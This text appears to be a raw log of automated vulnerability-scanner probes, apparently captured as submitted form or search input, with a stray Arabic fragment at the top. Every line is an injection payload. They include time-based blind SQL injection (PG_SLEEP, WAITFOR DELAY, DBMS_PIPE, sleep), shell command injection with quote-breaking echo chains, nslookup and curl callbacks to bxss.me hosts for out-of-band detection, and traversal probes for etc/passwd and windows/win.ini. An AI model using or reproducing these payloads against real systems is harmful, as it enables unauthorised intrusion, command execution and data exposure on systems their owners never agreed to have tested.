يا با

20 1) OR 843=(SELECT 843 FROM PG_SLEEP(15))--

20 echo zofzpk$()\ ouyemm\nz^xyu||a #' |echo zofzpk$()\ ouyemm\nz^xyu||a #|" |echo zofzpk$()\ ouyemm\nz^xyu||a #

20 sleep(27*1000)*ysobbb&&'

nslookup -q=cname hitlzcvmddcrx90af7.bxss.me||curl hitlzcvmddcrx90af7.bxss.me))

bxss me/t/xss.html?%00

echo vhzxlf$()\ cgebwg\nz^xyu||a #' &echo vhzxlf$()\ cgebwg\nz^xyu||a #|" &echo vhzxlf$()\ cgebwg\nz^xyu||a #

nslookup -q=cname hituehnyreiyxc4b7a.bxss.me&'\"`0&nslookup -q=cname hituehnyreiyxc4b7a.bxss.me&`'

nslookup -q=cname hitxbyqwfivye88d39.bxss.me||curl hitxbyqwfivye88d39.bxss.me)`

20 1 OR 910=(SELECT 910 FROM PG_SLEEP(15))--

20wnTbApCI OR 886=(SELECT 886 FROM PG_SLEEP(15))--

20 DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

echo quuevz$()\ ismhqi\nz^xyu||a #' &echo quuevz$()\ ismhqi\nz^xyu||a #|" &echo quuevz$()\ ismhqi\nz^xyu||a #

file etc/passwd

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs 00.jpg

20 echo ramoij$()\ zbzpxd\nz^xyu||a #' &echo ramoij$()\ zbzpxd\nz^xyu||a #|" &echo ramoij$()\ zbzpxd\nz^xyu||a #

20 sleep(27*1000)*kjackg&&"

20 1); waitfor delay '0:0:15' --

20 sleep(27*1000)*hbvqnc||'

nslookup -q=cname hitzduyuaacjied21a.bxss.me||curl hitzduyuaacjied21a.bxss.me)

nslookup -q=cname hitpwyvydephxa8317.bxss.me||curl hitpwyvydephxa8317.bxss.me)&'\"`0&(nslookup -q=cname hitpwyvydephxa8317.bxss.me||curl hitpwyvydephxa8317.bxss.me)&`'

c windows/win.ini

20 if(now()=sysdate(),sleep(15),0)

200 XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

20sr9Ljfkb waitfor delay '0:0:15' --

20 DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'